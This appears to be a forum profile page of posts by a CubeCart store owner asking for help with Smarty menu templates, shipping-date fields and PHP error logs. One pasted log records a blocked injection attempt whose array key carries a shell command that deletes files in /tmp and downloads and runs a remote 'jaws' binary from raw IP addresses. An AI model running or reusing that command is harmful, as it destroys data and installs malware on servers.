Jump to content

Claudia

Member
  • Posts

    305
  • Joined

  • Last visited

  • Days Won

    2

Posts posted by Claudia

  1. {if isset($BRANCH.children)}
        <ul class="vnb-sub-cbd">
        <li itemprop="name" class="vnb-sub-title">{$BRANCH.name}</li>
            {$BRANCH.children}
        </ul>
        {/if}

    There is no <li> for {$BRANCH.children}

     

    There is no ccs rule for has-sub-cbd . It's in the script

    $('.vnb-sub-cbd').hide();
        $('.has-sub-cbd').hover(function(){
            $(this).children('.vnb-sub-cbd').fadeToggle(200);
        });

    Would something like this work for individual child styling?  I know it's not right

    <li {if isset($BRANCH.children)}class="has-sub-cbd"{/if}>
        <a href="{$BRANCH.url}" title="{$BRANCH.name}"{if $VNB_CBD_BRANCH.cat_id == '40'class="pad-bottom"
    {else} class="vm-box-link-cbd">{$BRANCH.name}  {if isset($BRANCH.children)}<svg class="icon  icon-x1 has-sub-arrow-cbd"><use xlink:href="#icon-angle-right"></use></svg>{/if}</a>
        {if isset($BRANCH.children)}
        <ul class="vnb-sub-cbd">
        <li itemprop="name" class="vnb-sub-title">{$BRANCH.name}</li>
            {$BRANCH.children}
        </ul>
        {/if}
    </li>

     

  2. I see what you mean about the icon-sprites.svg" file.  Can a person add to this file?

    .vnb-sub-cbd a.vm-box-link-cbd { } worked  but what if I wanted to style one sub differently than the others. Like cat ID 40

    Promise I'll try not to ask anything else

    Can I move the sub box up a little so it's in the middle of the parent instead at the bottom

  3. I may want to change the > to a side triangle. I got this error when I tried to open the icon-sprites.svg" file.

    This page contains the following errors:

    error on line 1 at column 1: Document is empty

    Below is a rendering of the page up to the first error.

     

    Any idea about this:  {$BRANCH.children}  How can I get it it's own styling  Do I put it in a <div> or <span>  <div class=??> {$BRANCH.children} </div>

  4. Kinda, been working on it, again, all day .... still some stuff I can't figure out. For instance: where do I find the icons (>) How can I hide the children from small display. May have more questions

    My new tree code:

    <li {if isset($BRANCH.children)}class="has-sub-cbd"{/if}>
        <a href="{$BRANCH.url}" title="{$BRANCH.name}" class="vm-box-link-cbd">{$BRANCH.name}  {if isset($BRANCH.children)}<svg class="icon  icon-x1 has-sub-arrow-cbd"><use xlink:href="#icon-angle-right"></use></svg>{/if}</a>
        {if isset($BRANCH.children)}
        <ul class="vnb-sub-cbd">
        <li itemprop="name" class="vnb-sub-title">{$BRANCH.name}</li>
            {$BRANCH.children}
        </ul>
        {/if}
    </li>

    icon-x1  I created this

    {$BRANCH.children}  How can I get it it's own styling

     

  5. I have tried for days to do this but can’t figure out how.  I have my vertical menu working but I don’t know how to put the >> (or sideways triangle) on the main category when it has children.  Also, if I want my children styled different than the parent how do I do that. Here is my code. Thanks for any help!

     

    Skin/element.navigation_tree

     

    <li class="has-sub-cbd">

       <a class="vm-box-link-cbd" href="{$BRANCH.url}" title="{$BRANCH.name}">{$BRANCH.name}</a>

     

       {if isset($BRANCH.children)}

       <ul class="vnb-sub-cbd">

         <!-- <li itemprop="name" class="vnb-sub-title-cbd">{$BRANCH.name}</li> -->

          {$BRANCH.children}

       </ul>

       {/if}

    </li>

     

    I commented out  <!-- <li itemprop="name" class="vnb-sub-title-cbd">{$BRANCH.name}</li> --> because I don’t want the main category name showing with the children.

     

     

    Skin/box.navigation

    {if $CATEGORIES}

    {$CATEGORIES}

    {else}

    <div id="vm-container">

      <ul itemscope itemtype="http://www.schema.org/SiteNavigationElement" class="vm-top">

              <li itemprop="name"><a class="vm-box-link-cbd" itemprop="url" href="{$ROOT_PATH}" title="{$LANG.common.home}"><svg class="icon"><use xlink:href="#icon-home"></use></svg>&nbsp;&nbsp;Home</a></li>

                <li>      <a href="/listed-only-on-ebay" title="Listed only on eBay" class="vm-ebay-txt">Listed only on eBay</a></li>

                <li>      <a href="/listed-only-on-etsy" title="Listed only on Etsy" class="vm-etsy-txt">Listed only on Etsy</a></li>       

                            {$NAVIGATION_TREE} 

               </ul>

          </div>

      {/if}

  6. I made the changes as suggested in GITHub PHP 8 Warning #3397 - $basket_array['weight'] ?? 0.  Now I get these warnings.

    I know some are not related.

    [04-Oct-2023 15:32:50 America/Louisville] PHP Warning:  Security Warning: Illegal array key "cd_/tmp;rm_-rf_*;wget_94_158_247_123/jaws;sh_/tmp/jaws" was detected and was removed. in /home/xxxxxxx/public_html/classes/sanitize.class.php on line 114

    [04-Oct-2023 17:22:29 America/Louisville] PHP Deprecated:  ucwords(): Passing null to parameter #1 ($string) of type string is deprecated in /home/xxxxxxx/public_html/cache/skin/c6ff5523b42eda7c097b9ded7c507de36a425832_0.file.orders.index.php.php on line 673

    [04-Oct-2023 17:30:45 America/Louisville] PHP Warning:  Undefined array key "productOptions" in /home/xxxxxxx/public_html/admin_OE2vfW/sources/orders.index.inc.php on line 91

    [04-Oct-2023 17:57:09 America/Louisville] PHP Warning:  Undefined array key "productOptions" in /home/xxxxxxx/public_html/admin_OE2vfW/sources/orders.index.inc.php on line 116

    [04-Oct-2023 17:57:09 America/Louisville] PHP Warning:  Undefined array key "custom" in /home/xxxxxxx/public_html/admin_OE2vfW/sources/orders.index.inc.php on line 124

    [04-Oct-2023 18:28:51 America/Louisville] PHP Warning:  Undefined array key "cart_order_id" in /home/xxxxxxx/public_html/classes/cubecart.class.php on line 2778

    [05-Oct-2023 03:50:09 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: No such file or directory in /home/xxxxxxx/public_html/classes/db/mysqli.class.php:37

    Stack trace:

    #0 /home/xxxxxxx/public_html/classes/db/mysqli.class.php(37): mysqli->__construct()

    #1 /home/xxxxxxx/public_html/classes/db/mysqli.class.php(64): Database->__construct()

    #2 /home/xxxxxxx/public_html/controllers/controller.index.inc.php(22): Database::getInstance()

    #3 /home/xxxxxxx/public_html/index.php(27): include('/home/cambarga/...')

    #4 {main}

      thrown in /home/xxxxxxx/public_html/classes/db/mysqli.class.php on line 37

    [04-Oct-2023 23:50:46 America/Louisville] PHP Warning:  Invalid Security Token in /home/xxxxxxx/public_html/classes/sanitize.class.php on line 155

    [04-Oct-2023 23:50:46 America/Louisville] PHP Warning:  Undefined global variable $_GET in /home/xxxxxxx/public_html/includes/functions.inc.php on line 218

    [05-Oct-2023 05:47:24 America/Louisville] PHP Warning:  Security Warning: Illegal array key "cd_/tmp;rm_-rf_*;wget_121_62_21_23/jaws;sh_/tmp/jaws" was detected and was removed. in /home/xxxxxxx/public_html/classes/sanitize.class.php on line 114

  7. For the last few days I keep getting these warnings over and over in my cPanel error log.  Nothing in admin error log. Thanks for any and all help

     

    [02-Oct-2023 12:53:02 America/Louisville] PHP Warning:  Trying to access array offset on value of type bool in /home/cambarga/public_html/admin_OE2vfW/sources/orders.index.inc.php on line 307

     

    [02-Oct-2023 11:08:00 America/Louisville] PHP Warning:  SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: Entity: line 1: parser error : Opening and ending tag mismatch: link line 1 and head in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439

     

    [02-Oct-2023 11:08:00 America/Louisville] PHP Warning:  SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: al-scale=1&quot;&gt;&lt;link href=&quot;/cdn-cgi/styles/challenges.css&quot; rel=&quot;stylesheet&quot;&gt;&lt;/head&gt; in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439

     

    [02-Oct-2023 11:08:00 America/Louisville] PHP Warning:  SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]:       ^ in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439

     

    [02-Oct-2023 11:08:00 America/Louisville] PHP Warning:  SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: Entity: line 1: parser error : xmlParseEntityRef: no name in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439

     

    [02-Oct-2023 11:08:00 America/Louisville] PHP Warning:  SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: ge/v1?ray=80f8b6039edadd68';window._cf_chl_opt.cOgUHash = location.hash === '' &amp; in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439

     

    [02-Oct-2023 11:08:00 America/Louisville] PHP Warning:  SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: -1 ? '#' : location.hash;window._cf_chl_opt.cOgUQuery = location.search === '' &amp; in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439

     

    [02-Oct-2023 11:08:00 America/Louisville] PHP Warning:  SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: 1 ? '#' : location.hash;window._cf_chl_opt.cOgUQuery = location.search === '' &amp;&amp; in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439

     

    [02-Oct-2023 11:08:00 America/Louisville] PHP Warning:  SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: OgUHash.length).indexOf('?') !== -1 ? '?' : location.search;if (window.history &amp; in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439

     

    [02-Oct-2023 11:08:00 America/Louisville] PHP Warning:  SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]:                                                                                ^ in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439

     

    [02-Oct-2023 11:08:00 America/Louisville] PHP Warning:  SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: gUHash.length).indexOf('?') !== -1 ? '?' : location.search;if (window.history &amp;&amp; in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439

     

    [02-Oct-2023 11:08:00 America/Louisville] PHP Warning:  SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: nt.getElementsByTagName('head')[0].appendChild(cpo);}());&lt;/script&gt;&lt;/body&gt;&lt;/html&gt; in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439

     

    [02-Oct-2023 11:08:00 America/Louisville] PHP Warning:  SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]:                                                                                ^ in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439

     

    [02-Oct-2023 11:08:00 America/Louisville] PHP Warning:  SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: Entity: line 1: parser error : Premature end of data in tag meta line 1 in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439

     

    [02-Oct-2023 11:34:35 America/Louisville] PHP Warning:  String could not be parsed as XML in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 463

  8. Can I do this?  I don't like the way the ship date is formatted

    'all_ship_date' => $order['all_ship_date'],

    'venue_ship_product' => $order['venue_ship_product'],

    'all_shipping_used' => $order['all_shipping_used'],

    <div class="title-mid marg-top">{$LANG.common.delivery}</div>
     {if !empty($DELIVERY.all_ship_date)}
    <div class="row">
      <div class="small-6 medium-3 columns">Shipping Date:</div>
      <div class="small-6 medium-9 columns">{$DELIVERY.all_ship_date}</div>
    </div>
    {/if}

     {if !empty($DELIVERY.venue_ship_product)}
    <div class="row">
      <div class="small-6 medium-3 columns">Shipping Paid For:</div>
      <div class="small-6 medium-9 columns">{$DELIVERY.venue_ship_product}</div>
    </div>
    {/if}

     {if !empty($DELIVERY.all_shipping_used)}
    <div class="row">
      <div class="small-6 medium-3 columns">Shipping Used:</div>
      <div class="small-6 medium-9 columns">{$DELIVERY.all_shipping_used}</div>
    </div>
    {/if}

     

  9. How does CubeCart determine what to use as the shipping date of an order?  Is it set by when the status of the order is set as complete?  I would like to be able to input this info manually; and how would I make it work on the order history / view details page when the customer is logged into their account. Thanks for any and all help!

     

    I use a database called all_ship_date and manually input the date for all orders whether the order is thru the store or I create it for offsite sales.  I also do this for the shipping paid for - venue_ship_product for and the shipping used - all_shipping_used (often times I give a shipping upgrade and want the customer to know) I'd like to implement them here too

     

    This is what I have in skin/contents/receipt

    {if $DELIVERY}

    <hr>

    <div class="title-mid marg-top">{$LANG.common.delivery}</div>

     {if !empty($DELIVERY.date)}

    <div class="row">

      <div class="small-6 medium-3 columns">Shipping Date:</div>

      <div class="small-6 medium-9 columns">{$DELIVERY.date}</div>

    </div>

    {/if}

     

     {if !empty($DELIVERY.method)}

    <div class="row">

      <div class="small-6 medium-3 columns">Shipping Carrier:</div>

      <div class="small-6 medium-9 columns">{$DELIVERY.method}</div>

    </div>

    {/if}

  10. Here you go.  This is my skin code.  

            {if $PRODUCT.specs_title_12}
                      <div class="block_container">  <div class="bc-subtitle"> {$PRODUCT.specs_title_12}</div>
                      {/if}
                       {if $PRODUCT.specs_content_12}
                         <div class="bc-txt">{$PRODUCT.specs_content_12}</div></div>
                      {/if}

             {if ($PRODUCT.related_used_with)}
                  <div>
         {$PRODUCT.related_used_with}
                 </div>   
                  {/if}

                    </form>
                  
            <div class="hide" id="validate_field_required">{$LANG.form.field_required}</div>
    </div>
    {else}
    <p>{$LANG.catalogue.product_doesnt_exist}</p>
    {/if}

     

×
×
  • Create New...